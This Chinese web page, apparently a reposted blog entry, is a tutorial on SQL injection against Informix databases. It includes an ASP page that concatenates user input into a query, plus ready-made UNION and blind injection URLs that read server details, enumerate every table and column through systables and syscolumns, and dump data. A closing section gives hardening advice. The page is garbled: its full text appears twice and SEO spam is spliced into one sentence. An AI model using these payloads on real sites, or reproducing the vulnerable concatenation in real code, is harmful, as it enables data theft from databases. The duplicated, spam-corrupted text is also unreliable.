Informix注入整理
网站建设 2021-07-03 09:19www.dzhlxh.cn网站建设
前些时间做一个渗透测试，数据库是informix的。整理了一下。
informix数据类型比较复杂，在union查询中最郁闷的就是匹配字段的问题
数据类型如下
informix的字段类型
char(size)
varchar(size)
serial
nchar(size)
nvarchar(size)
real
interval
date
datetime
integer
smallint
float
smallfloat
money(p,s)
decimal(p,s)
text
byte
如果字段数量和类型都匹配了 那么得到数据很容易
****************************************************
测试环境：
reate table test(name char(32),id int)
****************************************************
ASP代码
====================================================
<%
Set conn=Server.CreateObject("ADODB.CONNECTION")
Set rs=Server.CreateObject("ADODB.RecordSet")
conn.open "dsn=poison;uid=informix;pwd=xxxxxx"
id=request("id")
strSQL = "select name from test where id=" & id
set rs=conn.execute(strSQL)
response.write(rs("name"))
rs.close
conn.close
%>
=====================================================
http://127.0.0.1/aaa.asp?id=1 and 1=1 union select dbservername from systables;
dbservername，返回数据库服务器的名称
http://127.0.0.1/aaa.asp?id=1 and 1=1 union select user from systables;
user，返回执行查询的用户的用户名（登陆帐户名）
http://127.0.0.1/aaa.asp?id=1 and 1=1 union select to_char(today) from systables;
http://127.0.0.1/aaa.asp?id=1 and 1=1 union select to_char(dbinfo(’sqlca.sqlerrd1’)) from systables;
返回任何表中插入的最后一个SERIAL值
http://127.0.0.1/aaa.asp?id=1 and 1=1 union select to_char(dbinfo(’version’, ’full’)) from systables;
***************************************************************************************************************************
得到任何数据
两个重要的系统表
systables：描述数据库中的很张表；
syscolumns：描述数据库中表的列；
==============================================
select * from systables
tabname syscolumns
owner informix
partnum 1048580
tabid 2
rowsize 157
ncols 10
nindexes 2
nrows 2353.000000000
created 04/28/2008
version 65539
tabtype T
locklevel R
npused 25.00000000000
fextsize 32
nextsize 32
flags 0
site
dbname
type_xid 0
am_id 0
pagesize 4096
ustlowts 2008-04-28 22:26:00.00000
secpolicyid 0
protgranularity
==================================================
select * from syscolumns
colname tabname
tabid 1
colno 1
coltype 13
collength 128
colmin 541543519
colmax 1937339256
extended_id 0
seclabelid 0
colattr 0
===================================================
这样就可以得到任何表任何列的信息了
http://127.0.0.1/aaa.asp?id=1 and 1=1 union select to_char(count(*)) from systables
因为informix中利用first n 经常会出现"Cannot use "first", "limit" or "skip" in this context"的问题
(我也不知道什么原因 一些工具也就无法递归猜解数据)
systables 中tabid顺序排列 可以穷举得到所有表名
http://127.0.0.1/aaa.asp?id=1 and 1=2 union select tabname from systables where tabid=1
http://127.0.0.1/aaa.asp?id=1 and 1=2 union select tabname from systables where tabid=n
得到tabid和tabname的对应关系
and 1=2 union select colname from syscolumns where tabid=1
http://127.0.0.1/aaa.asp?id=1 and 1=2 union select colname from syscolumns where tabid=100 and colno=1
http://127.0.0.1/aaa.asp?id=1 and 1=2 union select colname from syscolumns where tabid=100 and colno=2
http://127.0.0.1/aaa.asp?id=1 and 1=2 union select colname from syscolumns where tabid=100 and colno=n
得到tabid=100 对应表的所有列
表列都有了 直接暴数据
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
不能union只能以为以为去猜 和ACCESS没什么太大的区别
注意只是一些函数的差别
length长度
substr 返回字符串中的某一部分，例substr(col,1,2)
substring 返回字符串中的某一部分，例substring(col,from 1 to 4)
我没有找到ASCII转化的函数
可以用字符表示 例’a’=substr(admin,1,1)
或者用十六进制函数
hex返回表达式的十六进制数
保护informix
为服务器持续打补丁
每当IBM发布新补丁的时候，应该尽可能地测试这些补丁并将其部署到生产系统上去
加密网络通信量
应该加密服务器和客户机之间的通信量。这有助于保护用户账户以及阻止通过网络窃取数据。通过使用Communication Support Module(通信支持模块)可以实现这一点。请参看Informix Server Administrator’s Guide(Informix服务器管理员指南)
取消Public的Connect特权
默认地，public被授予了connect特权。这意味着任何人，只要持有有效的操作系统用户ID和口令，都可以连接到数据库服务器。
启用审计
应该对关键事件进行审计，例如登陆尝试失败。更多细节请参看Administrators Guid或者Trusted Facility Guide。
取消Public对文件访问例程的权限
默认地，public可以执行文件访问函数，例如lotofile、filetoclob 和ifx_file_to_file。这将允许攻击者读、写服务器上的文件。为帮助解决这一安全漏洞，创建一个名为FileAccess的角色，按照严格的业务需求，只把那些需要访问文件的用户分配为该角色的成员。然后为该角色分配对文件访问例程的执行权限，并取消public的执行权限。
取消Public对模块例程的执行权限
默认地，public可以执行模块函数，例如ifx_replace_module、ifx_load_internal和reload_module。这将允许攻击者强制Informix服务器加载任意的库并像Informix用户一样执行代码。为帮助解决这一安全漏洞，创建一个名为 ModuleAccess的角色，按照严格的业务需求，只把那些需要加载模块的用户分配为该角色的成员。然后为该角色分配对这些例程的执行权限，并取消 public的执行权限。
阻止转储共享内存
在服务器崩溃事件中，可以将Informix配置为将共享内存段转储到磁盘。这是默认配置。因为这些转储文件是完全可读的且包含用户名和口令，将Informix配置为不转储共享内存将更合适。为此，编辑onconfig文件并将 DUMPSHMEM参数设置为0。然后停止并重启服务器。
阻止对基于Unix的服务器的本地攻击
Informix遭受的基于Unix平台的大部分本地安全问题都源自setuid root程序和setgid Informix程序。为了列举所有这样的程序，转到$INFORMIXDIR/bin目录下并发出狼蚁网站SEO优化的命令：
find ./ -perm 4000
这将列举bin目录内的全部setuid程序。防止本地用户攻击setuid程序的最简单的办法是删除other的执行权限；实际上，可以简单地删除others的全部权限：
chmod * o-rwx
限制语言Usage权限
应该限制被授予了C和Java例程语言usage权限的用户的数量。拥有这些语言的usage权限的任何人都可以像Informix用户一样运行代码。
有用文档
下述文档值得一读：
IBM Informix Dynamic Server Administrator’s Guide：http://publibfp.boulder.ibm.com/epubs/pdf/ct1ucna.pdf
IBM Informix Trusted Facility Guide：http://publibfp.boulder.ibm.com/epubs/pdf/ct1tbna.pdf
IBM Informix Guide to SQL：http://publibfi.boulder.ibm.com/epubs/pdf/ct1sqna.pdf
informix数据类型比较复杂，在union查询中最郁闷的就是匹配字段的问题
数据类型如下
informix的字段类型
char(size)
varchar(size)
serial
nchar(size)
nvarchar(size)
real
interval
date
datetime
integer
smallint
float
smallfloat
money(p,s)
decimal(p,s)
text
byte
如果字段数量和类型都匹配了 那么得到数据很容易
****************************************************
测试环境：
reate table test(name char(32),id int)
****************************************************
ASP代码
====================================================
<%
Set conn=Server.CreateObject("ADODB.CONNECTION")
Set rs=Server.CreateObject("ADODB.RecordSet")
conn.open "dsn=poison;uid=informix;pwd=xxxxxx"
id=request("id")
strSQL = "select name from test where id=" & id
set rs=conn.execute(strSQL)
response.write(rs("name"))
rs.close
conn.close
%>
=====================================================
http://127.0.0.1/aaa.asp?id=1 and 1=1 union select dbservername from systables;
dbservername，返回数据库服务器的名称
http://127.0.0.1/aaa.asp?id=1 and 1=1 union select user from systables;
user，返回执行查询的用户的用户名（登陆帐户名）
http://127.0.0.1/aaa.asp?id=1 and 1=1 union select to_char(today) from systables;
http://127.0.0.1/aaa.asp?id=1 and 1=1 union select to_char(dbinfo(’sqlca.sqlerrd1’)) from systables;
返回任何表中插入的最后一个SERIAL值
http://127.0.0.1/aaa.asp?id=1 and 1=1 union select to_char(dbinfo(’version’, ’full’)) from systables;
***************************************************************************************************************************
得到任何数据
两个重要的系统表
systables：描述数据库中的很张表；
syscolumns：描述数据库中表的列；
==============================================
select * from systables
tabname syscolumns
owner informix
partnum 1048580
tabid 2
rowsize 157
ncols 10
nindexes 2
nrows 2353.000000000
created 04/28/2008
version 65539
tabtype T
locklevel R
npused 25.00000000000
fextsize 32
nextsize 32
flags 0
site
dbname
type_xid 0
am_id 0
pagesize 4096
ustlowts 2008-04-28 22:26:00.00000
secpolicyid 0
protgranularity
==================================================
select * from syscolumns
colname tabname
tabid 1
colno 1
coltype 13
collength 128
colmin 541543519
colmax 1937339256
extended_id 0
seclabelid 0
colattr 0
===================================================
这样就可以得到任何表任何列的信息了
http://127.0.0.1/aaa.asp?id=1 and 1=1 union select to_char(count(*)) from systables
因为informix中利用first n 经常会出现"Cannot use "first", "limit" or "skip" in this context"的问题
(我也不知道什么原因 一些工具也就无法递归猜解数据)
systables 中tabid顺序排列 可以穷举得到所有表名
http://127.0.0.1/aaa.asp?id=1 and 1=2 union select tabname from systables where tabid=1
http://127.0.0.1/aaa.asp?id=1 and 1=2 union select tabname from systables where tabid=n
得到tabid和tabname的对应关系
and 1=2 union select colname from syscolumns where tabid=1
http://127.0.0.1/aaa.asp?id=1 and 1=2 union select colname from syscolumns where tabid=100 and colno=1
http://127.0.0.1/aaa.asp?id=1 and 1=2 union select colname from syscolumns where tabid=100 and colno=2
http://127.0.0.1/aaa.asp?id=1 and 1=2 union select colname from syscolumns where tabid=100 and colno=n
得到tabid=100 对应表的所有列
表列都有了 直接暴数据
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
不能union只能以为以为去猜 和ACCESS没什么太大的区别
注意只是一些函数的差别
length长度
substr 返回字符串中的某一部分，例substr(col,1,2)
substring 返回字符串中的某一部分，例substring(col,from 1 to 4)
我没有找到ASCII转化的函数
可以用字符表示 例’a’=substr(admin,1,1)
或者用十六进制函数
hex返回表达式的十六进制数
保护informix
为服务器持续打补丁
每当IBM发布新补丁的时候，应该尽可能地测试这些补丁并将其部署到生产系统上去
加密网络通信量
应该加密服务器和客户机之间的通信量。这有助于保护用户账户以及阻止通过网络窃取数据。通过使用Communication Support Module(通信支持模块)可以实现这一点。请参看Informix Server Administrator’s Guide(Informix服务器管理员指南)
取消Public的Connect特权
默认地，public被授予了connect特权。这意味着任何人，只要持有有效的操作系统用户ID和口令，都可以连接到数据库服务器。
启用审计
应该对关键事件进行审计，例如登陆尝试失败。更多细节请参看Administrators Guid或者Trusted Facility Guide。
取消Public对文件访问例程的权限
默认地，public可以执行文件访问函数，例如lotofile、filetoclob 和ifx_file_to_file。这将允许攻击者读、写服务器上的文件。为帮助解决这一安全漏洞，创建一个名为FileAccess的角色，按照严格的业务需求，只把那些需要访问文件的用户分配为该角色的成员。然后为该角色分配对文件访问例程的执行权限，并取消public的执行权限。
取消Public对模块例程的执行权限
默认地，public可以执行模块函数，例如ifx_replace_module、ifx_load_internal和reload_module。这将允许攻击者强制Informix服务器加载任意的库并像Informix用户一样执行代码。为帮助解决这一安全漏洞，创建一个名为 ModuleAccess的角色，按照严格的业务需求，只把那些需要加载模块的用户分配为该角色的成员。然后为该角色分配对这些例程的执行权限，并取消 public的执行权限。
阻止转储共享内存
在服务器崩溃事件中，可以将Informix配置为将共享内存段转储到磁盘。这是默认配置。因为这些转储文件是完全可读的且包含用户名和口令，将Informix配置为不转储共享内存将更合适。为此，编辑onconfig文件并将 DUMPSHMEM参数设置为0。然后停止并重启服务器。
阻止对基于Unix的服务器的本地攻击
Informix遭受的基于Unix平台的大部分本地安全问题都源自setuid root程序和setgid Informix程序。为了列举所有这样的程序，转到$INFORMIXDIR/bin目录下并发出狼蚁网站SEO优化的命令：
find ./ -perm 4000
这将列举bin目录内的全部setuid程序。防止本地用户攻击setuid程序的最简单的办法是删除other的执行权限；实际上，可以简单地删除others的全部权限：
chmod * o-rwx
限制语言Usage权限
应该限制被授予了C和Java例程语言usage权限的用户的数量。拥有这些语言的usage权限的任何人都可以像Informix用户一样运行代码。
有用文档
下述文档值得一读：
IBM Informix Dynamic Server Administrator’s Guide：http://publibfp.boulder.ibm.com/epubs/pdf/ct1ucna.pdf
IBM Informix Trusted Facility Guide：http://publibfp.boulder.ibm.com/epubs/pdf/ct1tbna.pdf
IBM Informix Guide to SQL：http://publibfi.boulder.ibm.com/epubs/pdf/ct1sqna.pdf